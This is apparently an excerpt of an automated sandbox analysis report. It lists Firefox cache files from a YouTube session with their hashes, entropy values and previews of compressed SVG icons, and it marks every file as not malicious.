Size (bytes):	395
Entropy (8bit):	5.058917060261194
Encrypted:	false
SSDEEP:	12:9nSnoOAvmRHnIq6JmM0T7QobETUrsOpkqdj:9So7vfqCmM0fE4rsOpka
MD5:	8D9443186CCB116D608C8970023A6C4F
SHA1:	C280277C0344161167DD348D9267548041E95124
SHA-256:	70FEEADE7E05A69D4604DF99CF1FF6793F7AED0879AE06B50A69B86906A892BF
SHA-512:	66240FC8A36102B8D3CC7CF157DC80981BB05FF707EFA775B82AD6219FCB72FCA9A3C45F30AED6147B222356A06A9B4063C9967F41F1A246735D68BD502ECA51
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.}...17....s.<svg xmlns="http://www.w3.org/2000/svg" height="24" style="enable-background:new 0 0 24 24;" viewBox="0 0 24 24" width="24"><path d="M12.5 6.44v-.5C13.36 5.71 14 4.93 14 4c0-1.1-.9-2-2-2s-2 .9-2 2h1c0-.55.45-1 1-1s1 .45 1 1-.45 1-1 1h-.5v1.44L4 13h2v6h1v2h1v-2h2v3h1v-3h2v2h1v-2h1v-3h3v-3h2l-7.5-6.56zM6.66 12 12 7.33 17.34 12H6.66zM14 18H7v-5h7v5zm1-3v-2h2v2h-2z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\237\{107d1d38-d2bb-4835-8e2d-d236a9be72ed}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	395
Entropy (8bit):	5.058917060261194
Encrypted:	false
SSDEEP:	12:9nSnoOAvmRHnIq6JmM0T7QobETUrsOpkqdj:9So7vfqCmM0fE4rsOpka
MD5:	8D9443186CCB116D608C8970023A6C4F
SHA1:	C280277C0344161167DD348D9267548041E95124
SHA-256:	70FEEADE7E05A69D4604DF99CF1FF6793F7AED0879AE06B50A69B86906A892BF
SHA-512:	66240FC8A36102B8D3CC7CF157DC80981BB05FF707EFA775B82AD6219FCB72FCA9A3C45F30AED6147B222356A06A9B4063C9967F41F1A246735D68BD502ECA51
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.}...17....s.<svg xmlns="http://www.w3.org/2000/svg" height="24" style="enable-background:new 0 0 24 24;" viewBox="0 0 24 24" width="24"><path d="M12.5 6.44v-.5C13.36 5.71 14 4.93 14 4c0-1.1-.9-2-2-2s-2 .9-2 2h1c0-.55.45-1 1-1s1 .45 1 1-.45 1-1 1h-.5v1.44L4 13h2v6h1v2h1v-2h2v3h1v-3h2v2h1v-2h1v-3h3v-3h2l-7.5-6.56zM6.66 12 12 7.33 17.34 12H6.66zM14 18H7v-5h7v5zm1-3v-2h2v2h-2z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\240\{cf68ec49-f9ec-49ba-b6b1-6245d9ba7ef0}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	234
Entropy (8bit):	5.633236177096029
Encrypted:	false
SSDEEP:	6:9Zzbrwp2I8omc4sl7uMdlZZM1Gyb8zE/0xdn:9ZTwp2I8oplvMVbt8d
MD5:	B3A912F7AD1772F6FE5812FB79FB8F4F
SHA1:	00443A5067E504D2B102A4358DDB6F0484D464B0
SHA-256:	7663ECA944129445DEB2757F49EF731AC2A95AC01080067F5938DCC0904FCD7D
SHA-512:	58E365169F36CE049BDABE6C19EF7788684A68B2B38FC499F0CD7EA8232DCCF0708D585ECD249D9A92B2023FED544145B967848E50BA44B0D2AF5447ABB0B761
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.....:....T<svg width="24" height..<viewBox="0 0 24 . .Cfill="none" xmlns="http://www.w3.org/2000/svg">.<rect x="11" y="2" w.n.".m 0" rx="1".`.white..<-opacity="0.3"/>.R.5" y="6NR..12.R..7.Q.>Q..3.Q.10N...4...19.R..R./svg>.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\240\{cf68ec49-f9ec-49ba-b6b1-6245d9ba7ef0}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	234
Entropy (8bit):	5.633236177096029
Encrypted:	false
SSDEEP:	6:9Zzbrwp2I8omc4sl7uMdlZZM1Gyb8zE/0xdn:9ZTwp2I8oplvMVbt8d
MD5:	B3A912F7AD1772F6FE5812FB79FB8F4F
SHA1:	00443A5067E504D2B102A4358DDB6F0484D464B0
SHA-256:	7663ECA944129445DEB2757F49EF731AC2A95AC01080067F5938DCC0904FCD7D
SHA-512:	58E365169F36CE049BDABE6C19EF7788684A68B2B38FC499F0CD7EA8232DCCF0708D585ECD249D9A92B2023FED544145B967848E50BA44B0D2AF5447ABB0B761
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.....:....T<svg width="24" height..<viewBox="0 0 24 . .Cfill="none" xmlns="http://www.w3.org/2000/svg">.<rect x="11" y="2" w.n.".m 0" rx="1".`.white..<-opacity="0.3"/>.R.5" y="6NR..12.R..7.Q.>Q..3.Q.10N...4...19.R..R./svg>.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\241\{eebfb1d3-c392-455b-8ef7-528c7d490bf1}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	228
Entropy (8bit):	5.589276297476717
Encrypted:	false
SSDEEP:	6:9L5/9mc4slhLJ9hCWSDJhQg+WkxWp2IGLb:9tF7N9UWWhTdkxs2db
MD5:	590DE80C94CCF9EADB9C7D51BE8E796C
SHA1:	E2C967E833E34A61C7BBB2CACABAD6743F3D48C4
SHA-256:	75B7670458B285925B57D33949D24B515DD8FE50466EF7E4A4CBD9A402F168D0
SHA-512:	D06068E443B20E3778C98441FD8FAB3BCDA4FBBA3DAA683E3E7C18C0DE280D59D4261DE63EF47CE8FB9A819B3C7F8D612F7D6B7C6FED591BE25C19421EBD7A91
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY....fV.....^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width..x><path d="M13 14h-2v-2h2v2zm0-9..\6h2V5zm6-2H5v16.59l3.29-....3-.3H19V3m1-1v15H9l-5 5V2h16z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\241\{eebfb1d3-c392-455b-8ef7-528c7d490bf1}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	228
Entropy (8bit):	5.589276297476717
Encrypted:	false
SSDEEP:	6:9L5/9mc4slhLJ9hCWSDJhQg+WkxWp2IGLb:9tF7N9UWWhTdkxs2db
MD5:	590DE80C94CCF9EADB9C7D51BE8E796C
SHA1:	E2C967E833E34A61C7BBB2CACABAD6743F3D48C4
SHA-256:	75B7670458B285925B57D33949D24B515DD8FE50466EF7E4A4CBD9A402F168D0
SHA-512:	D06068E443B20E3778C98441FD8FAB3BCDA4FBBA3DAA683E3E7C18C0DE280D59D4261DE63EF47CE8FB9A819B3C7F8D612F7D6B7C6FED591BE25C19421EBD7A91
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY....fV.....^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width..x><path d="M13 14h-2v-2h2v2zm0-9..\6h2V5zm6-2H5v16.59l3.29-....3-.3H19V3m1-1v15H9l-5 5V2h16z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\244\{9054ed83-ed9c-4473-8299-fd3fd4702ff4}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	234
Entropy (8bit):	5.464340736918132
Encrypted:	false
SSDEEP:	6:9Z4S9mc4slhLJ9hCcNo4Bo0NiGcrlSnfa9I7LKY:9Z4i7N9U8o4Bo0crlsfaq7n
MD5:	EE0078268C18AACFBB32F121A2BC2902
SHA1:	413487A0A575C27405B739FA8938A66B61A24149
SHA-256:	9718AA5EB454FE31D59FB6CB2D7BFF3BA1F7E73B171C76390ED97B749493A85D
SHA-512:	2D776EF4276E4F8CBE7782E1AAA91D78F1154CAFE818B8FB507E7E5F823C1ACE750E8B2214A82448FE0D3BE43FC25F1C15EB93D9198CA4C6B1962D19AF45CCF2
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.....n.....^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width...h><path d="m12 4.44 7 6.09V20h-4v-6H9v6H5v-9.47l7-6.09m0-1.32-8 6.96V21h6v-6h4v6h6V10.08l-8-6.96z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\244\{9054ed83-ed9c-4473-8299-fd3fd4702ff4}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	234
Entropy (8bit):	5.464340736918132
Encrypted:	false
SSDEEP:	6:9Z4S9mc4slhLJ9hCcNo4Bo0NiGcrlSnfa9I7LKY:9Z4i7N9U8o4Bo0crlsfaq7n
MD5:	EE0078268C18AACFBB32F121A2BC2902
SHA1:	413487A0A575C27405B739FA8938A66B61A24149
SHA-256:	9718AA5EB454FE31D59FB6CB2D7BFF3BA1F7E73B171C76390ED97B749493A85D
SHA-512:	2D776EF4276E4F8CBE7782E1AAA91D78F1154CAFE818B8FB507E7E5F823C1ACE750E8B2214A82448FE0D3BE43FC25F1C15EB93D9198CA4C6B1962D19AF45CCF2
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.....n.....^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width...h><path d="m12 4.44 7 6.09V20h-4v-6H9v6H5v-9.47l7-6.09m0-1.32-8 6.96V21h6v-6h4v6h6V10.08l-8-6.96z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\247\{fdfdd3a2-cb32-40c4-95a1-b34bd672a3f7}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.029127813172579
Encrypted:	false
SSDEEP:	6:9kUI9mc4slhohC/vmI4zmgwDe4btnRm31IE2l0kjMswple9SY:9k3noU/vmRzmgw3tnRm31IEURwpY
MD5:	3183686D3A59AB0D15FAB2BE7411E186
SHA1:	22D29C6B9FCFA649773E12680F00D868E6714485
SHA-256:	2A1C50B6D5014AF422DB7FF5661A5A68CB0C27EE9CC4768C99502ADA0EB63867
SHA-512:	EB7DCB18D20E28D283EA7D4CFDC08C0DA81E0499089117AC068194B1CA2BE661D380FE7D938D5828C42D711842BD3793B2DC2A3FE6285FAB83B90BE4FE3C7B16
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY....u.......<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="M17 13h-4v4h-2v-4H7v-2h4V7h2v4h4v2zM12 3c-4.96 0-9 4.04-9 9s4.04 9 9 9 9-4.04 9-9-4.04-9-9-9m0-1c5.52 0 10 4.48 10 10s-4.48 10-10 10S2 17.52 2 12 6.48 2 12 2z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\247\{fdfdd3a2-cb32-40c4-95a1-b34bd672a3f7}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.029127813172579
Encrypted:	false
SSDEEP:	6:9kUI9mc4slhohC/vmI4zmgwDe4btnRm31IE2l0kjMswple9SY:9k3noU/vmRzmgw3tnRm31IEURwpY
MD5:	3183686D3A59AB0D15FAB2BE7411E186
SHA1:	22D29C6B9FCFA649773E12680F00D868E6714485
SHA-256:	2A1C50B6D5014AF422DB7FF5661A5A68CB0C27EE9CC4768C99502ADA0EB63867
SHA-512:	EB7DCB18D20E28D283EA7D4CFDC08C0DA81E0499089117AC068194B1CA2BE661D380FE7D938D5828C42D711842BD3793B2DC2A3FE6285FAB83B90BE4FE3C7B16
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY....u.......<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="M17 13h-4v4h-2v-4H7v-2h4V7h2v4h4v2zM12 3c-4.96 0-9 4.04-9 9s4.04 9 9 9 9-4.04 9-9-4.04-9-9-9m0-1c5.52 0 10 4.48 10 10s-4.48 10-10 10S2 17.52 2 12 6.48 2 12 2z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\249\{50c6a015-b9f8-4fc1-88cc-6b1f0105dcf9}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.324275419330887
Encrypted:	false
SSDEEP:	3:9unXvCFKsqDmJS4RKb5sAR+hHiATcvXjXRHRcBHoNcH0wvl7MJJTTtX+nIVr4qoY:9pI9mc4slhohC/vmI4PSTTl+n84qd
MD5:	FCAA7F35D0B6F5DCC3EDF6EA35B7EF98
SHA1:	37EAB86381CD122095B712D205EEFD4C15FF49C1
SHA-256:	67B688B893251D9E52650B3CB720B6F8BE62C6E1AFEC8EA4B223A8E975D27B1F
SHA-512:	BECD339B63FB55676CABEED67FBF4E28740FECA0995B8734A430359C96E14B8591D4242A526D920AC8893D9D22AC125288E8AE8DBFB0A0FB484ED8544774958D
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY....M..F...<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="M15 19v-8l7 4-7 4Zm7-12H2v2h20V7Zm-9 6H2v-2h11v2Zm0 4.. "/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\249\{50c6a015-b9f8-4fc1-88cc-6b1f0105dcf9}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.324275419330887
Encrypted:	false
SSDEEP:	3:9unXvCFKsqDmJS4RKb5sAR+hHiATcvXjXRHRcBHoNcH0wvl7MJJTTtX+nIVr4qoY:9pI9mc4slhohC/vmI4PSTTl+n84qd
MD5:	FCAA7F35D0B6F5DCC3EDF6EA35B7EF98
SHA1:	37EAB86381CD122095B712D205EEFD4C15FF49C1
SHA-256:	67B688B893251D9E52650B3CB720B6F8BE62C6E1AFEC8EA4B223A8E975D27B1F
SHA-512:	BECD339B63FB55676CABEED67FBF4E28740FECA0995B8734A430359C96E14B8591D4242A526D920AC8893D9D22AC125288E8AE8DBFB0A0FB484ED8544774958D
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY....M..F...<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="M15 19v-8l7 4-7 4Zm7-12H2v2h20V7Zm-9 6H2v-2h11v2Zm0 4.. "/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\24\{53497b55-23e9-4b52-86a3-3caa98c45f18}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	208
Entropy (8bit):	5.1669141729654475
Encrypted:	false
SSDEEP:	6:9HrEtI9mc4slhohC/vmVR6SWJDNezjDil:9o6noU/vmVR6SWJsnQ
MD5:	9AABEC02BB846EE3FAB89838FC80448D
SHA1:	8B0F294DE64204DBEE03446885A8F31F03A22B17
SHA-256:	31AFB122C87EA568CBF6B96FC5BB8CE12EAA379581D41C269ECC4674D452D72E
SHA-512:	198E2DB29F6CD3807E92FDC6FB2FCE689EAD581FEC734E414F953595D1D4DFD0DE8A23A364D3665380B99E58C4146D4899BA0BA6E3E818DCE29BDF809CA00B73
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.....K"...<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><polygon points="18.79,11.29 13,17.09 13,4 11,4 11,17.09 5.21,.'.3.2.2.71 12,20.91 20.21,12.71"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\24\{53497b55-23e9-4b52-86a3-3caa98c45f18}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	208
Entropy (8bit):	5.1669141729654475
Encrypted:	false
SSDEEP:	6:9HrEtI9mc4slhohC/vmVR6SWJDNezjDil:9o6noU/vmVR6SWJsnQ
MD5:	9AABEC02BB846EE3FAB89838FC80448D
SHA1:	8B0F294DE64204DBEE03446885A8F31F03A22B17
SHA-256:	31AFB122C87EA568CBF6B96FC5BB8CE12EAA379581D41C269ECC4674D452D72E
SHA-512:	198E2DB29F6CD3807E92FDC6FB2FCE689EAD581FEC734E414F953595D1D4DFD0DE8A23A364D3665380B99E58C4146D4899BA0BA6E3E818DCE29BDF809CA00B73
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.....K"...<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><polygon points="18.79,11.29 13,17.09 13,4 11,4 11,17.09 5.21,.'.3.2.2.71 12,20.91 20.21,12.71"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\24\{dedfee69-9b8c-415b-8a11-f8d2261e2f18}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	168
Entropy (8bit):	5.508140567784304
Encrypted:	false
SSDEEP:	3:9/ljlTCIsqDmJS4RKb58FpErFuH4VNX1X3MHqllP6N3ih5SbBdTdUREygEPBiv:9/JJCI9mc4sl5RISmK3SJhFRWUEJM
MD5:	F4329A37D0CEA28C0611E3E06F3B4615
SHA1:	656B756E8B1205D928149C1C4D3CE310261C2EC9
SHA-256:	BFE3522EB5506F73141BBDE6D8BC2E581BBFAE0B4FA8CBE3F497679703EE27F0
SHA-512:	CA703E191A276B1439B0DC43B225F9CF0E8307336E418C48A1311B692DA560052A04F2141291EBA82AC5C549F7B21C92B7BAE4F0191D271AB0F52F8FCBA909CE
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY...........U<svg xmlns="http://www.w3.org/2000/svg">. <path d="M0 0h24v24H0z" fill="none"></path>.+.19 9h-4V3H9v6H5l7 7 7-7zM5 18v2h14v-2H5z"></path>.</svg>.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\24\{dedfee69-9b8c-415b-8a11-f8d2261e2f18}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	168
Entropy (8bit):	5.508140567784304
Encrypted:	false
SSDEEP:	3:9/ljlTCIsqDmJS4RKb58FpErFuH4VNX1X3MHqllP6N3ih5SbBdTdUREygEPBiv:9/JJCI9mc4sl5RISmK3SJhFRWUEJM
MD5:	F4329A37D0CEA28C0611E3E06F3B4615
SHA1:	656B756E8B1205D928149C1C4D3CE310261C2EC9
SHA-256:	BFE3522EB5506F73141BBDE6D8BC2E581BBFAE0B4FA8CBE3F497679703EE27F0
SHA-512:	CA703E191A276B1439B0DC43B225F9CF0E8307336E418C48A1311B692DA560052A04F2141291EBA82AC5C549F7B21C92B7BAE4F0191D271AB0F52F8FCBA909CE
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY...........U<svg xmlns="http://www.w3.org/2000/svg">. <path d="M0 0h24v24H0z" fill="none"></path>.+.19 9h-4V3H9v6H5l7 7 7-7zM5 18v2h14v-2H5z"></path>.</svg>.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\250\{bf6b587a-7d42-41cb-8d00-e4b353ba8bfa}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	433
Entropy (8bit):	5.531155170600068
Encrypted:	false
SSDEEP:	12:9dH4tM6UqBRnNAaip96FMsFYpWNx0dKeqfhwru:9d4tMXqBjAaimqsGpaGqfhwru
MD5:	ABADA082FFC6679A2067C452C7CF2AFA
SHA1:	99A4E6C70BFE85066F09C2AC1B2108D05F129C52
SHA-256:	FDD42399B41BBB74565BE3DA15F861B96F044DDEE74F6F2BA29940A96B1F2031
SHA-512:	A4DB103B9409B1A544AD9E449A3CD65DB72937FA325F1D08419450997F0DE9B1481FC7C31EC915B89DFAEE13F42F4E50BED68155D2E39D42332C01F4F4E6FBFA
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.......^...F<svg xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-:..pd="M17.7375 5.26556L28.6745 1..$24C29.1083...6589 ...6.3422 .0.6.7387L.P.2..d56C17.0958 27.3222 16.0628. .8669..85.9975V21.6217C.(...(.7 6...6...C9.92564... 6.69114 23.9378 5.1615 25.5968C4.807.?05.981 3.97329..$7343 4.000./$2125C4.225..P0.8321 5.86088 10.889...6.....7... ...120..@.V6.00368.8...34.P->.4.67898 1^!.L556Z"></path></svg>.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\250\{bf6b587a-7d42-41cb-8d00-e4b353ba8bfa}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	433
Entropy (8bit):	5.531155170600068
Encrypted:	false
SSDEEP:	12:9dH4tM6UqBRnNAaip96FMsFYpWNx0dKeqfhwru:9d4tMXqBjAaimqsGpaGqfhwru
MD5:	ABADA082FFC6679A2067C452C7CF2AFA
SHA1:	99A4E6C70BFE85066F09C2AC1B2108D05F129C52
SHA-256:	FDD42399B41BBB74565BE3DA15F861B96F044DDEE74F6F2BA29940A96B1F2031
SHA-512:	A4DB103B9409B1A544AD9E449A3CD65DB72937FA325F1D08419450997F0DE9B1481FC7C31EC915B89DFAEE13F42F4E50BED68155D2E39D42332C01F4F4E6FBFA
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.......^...F<svg xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-:..pd="M17.7375 5.26556L28.6745 1..$24C29.1083...6589 ...6.3422 .0.6.7387L.P.2..d56C17.0958 27.3222 16.0628. .8669..85.9975V21.6217C.(...(.7 6...6...C9.92564... 6.69114 23.9378 5.1615 25.5968C4.807.?05.981 3.97329..$7343 4.000./$2125C4.225..P0.8321 5.86088 10.889...6.....7... ...120..@.V6.00368.8...34.P->.4.67898 1^!.L556Z"></path></svg>.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\255\{da296fcb-d329-46ef-9bc2-2dd5907504ff}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.473329069684046
Encrypted:	false
SSDEEP:	6:9f7T/bI9mc4slhLJ9hCu44z7iNljg0AiICpOTfqu8:9f7T/b47N9UuB6TEDiI6d1
MD5:	3F7A4EBDD9E533CDA0125618AD02DADD
SHA1:	8F024E90AE75E5926E0F9D0847E2A1520B4F8EAB
SHA-256:	3408ED8BD0781A9EE0576FF0DDF30150456E0FA59B40406B21248613602C1043
SHA-512:	6257799DD555CA13833A2320B10056A966F1F384D474CC66E6EAD51A76B726E66AB64ADD92D9BF3A85456EC75B5B97404BF7574EAB7D3E6090B8F60D2799C1CA
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.......9...^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width...><path d="M16 21h-2.28c-.35.6-.98 1-1.72 1s-1.38-.4...-1H8v-1h8v1zm4-11c0 2.96-1.61 5.54-4 6.92V19H8v-2.08C5.61 1... 4 1./..P0c0-4.42 3.58-8 8-8s8..4 8 8z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\255\{da296fcb-d329-46ef-9bc2-2dd5907504ff}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.473329069684046
Encrypted:	false
SSDEEP:	6:9f7T/bI9mc4slhLJ9hCu44z7iNljg0AiICpOTfqu8:9f7T/b47N9UuB6TEDiI6d1
MD5:	3F7A4EBDD9E533CDA0125618AD02DADD
SHA1:	8F024E90AE75E5926E0F9D0847E2A1520B4F8EAB
SHA-256:	3408ED8BD0781A9EE0576FF0DDF30150456E0FA59B40406B21248613602C1043
SHA-512:	6257799DD555CA13833A2320B10056A966F1F384D474CC66E6EAD51A76B726E66AB64ADD92D9BF3A85456EC75B5B97404BF7574EAB7D3E6090B8F60D2799C1CA
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.......9...^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width...><path d="M16 21h-2.28c-.35.6-.98 1-1.72 1s-1.38-.4...-1H8v-1h8v1zm4-11c0 2.96-1.61 5.54-4 6.92V19H8v-2.08C5.61 1... 4 1./..P0c0-4.42 3.58-8 8-8s8..4 8 8z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\25\{68d1885c-530a-4e0e-8732-e56ccb4a0119}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	586
Entropy (8bit):	5.556387425683422
Encrypted:	false
SSDEEP:	12:9Uu7N9UCqM7EtSudaYqV7J8iFtUArZ+7yIJ4014bAeDjcy2vFkX/6Rwsg:99jUW4Susd8krZh8KkUjP2dVg
MD5:	501E302DF1CACF7FFE388900064433F7
SHA1:	D044DDDA684B1A7B8ACB5D9A887F1B92F77F10DE
SHA-256:	BAAD1D86DAB561F7ABF009B62005456A15797550FD0DD565328F8C1E7E7C23CA
SHA-512:	8A75F975A60C979627E4F325E7CA6B8AF17DF51E425B7DF27EA45CCB45B0B37B8FF339A7CB1A22108F1085854C4BDFE8694A6009A41DF07FFD93AA7C6766C80A
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.<..G.y...^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width...><g><path d="M14 12c0 1.1-.9 2-2 2s-2-.9-....9..... ..D 2zM6.36 6.33 4.95..`2C3.13 6.73 2 9.24 2 12s1...5.27 2.*$7.08l1.41-..DC4.9 16.22 4 14.21...2s.9-4..<2.36-5.67zm12.69.5... .?@19.1 7.78 20 9.79...12s...A.-2...A.t.5.20.87 17...2.w.76 ...2s-...-5.27-...-..(zM9.19 9.16.k.7..H5C6.68 8.83 6 10.34...2s.. 3.17 1.77...5.y...C8.46.o.11 8 13...2s.46-2..81.19-2.84zm7.04.6....,15.54 9.89 1.v.....46 .C...9 .C.x.8.7.32 15...z.66 ...9.68-...-..H-4.25z"/></g></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\25\{68d1885c-530a-4e0e-8732-e56ccb4a0119}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	586
Entropy (8bit):	5.556387425683422
Encrypted:	false
SSDEEP:	12:9Uu7N9UCqM7EtSudaYqV7J8iFtUArZ+7yIJ4014bAeDjcy2vFkX/6Rwsg:99jUW4Susd8krZh8KkUjP2dVg
MD5:	501E302DF1CACF7FFE388900064433F7
SHA1:	D044DDDA684B1A7B8ACB5D9A887F1B92F77F10DE
SHA-256:	BAAD1D86DAB561F7ABF009B62005456A15797550FD0DD565328F8C1E7E7C23CA
SHA-512:	8A75F975A60C979627E4F325E7CA6B8AF17DF51E425B7DF27EA45CCB45B0B37B8FF339A7CB1A22108F1085854C4BDFE8694A6009A41DF07FFD93AA7C6766C80A
Malicious:	false
Reputation:	unknown
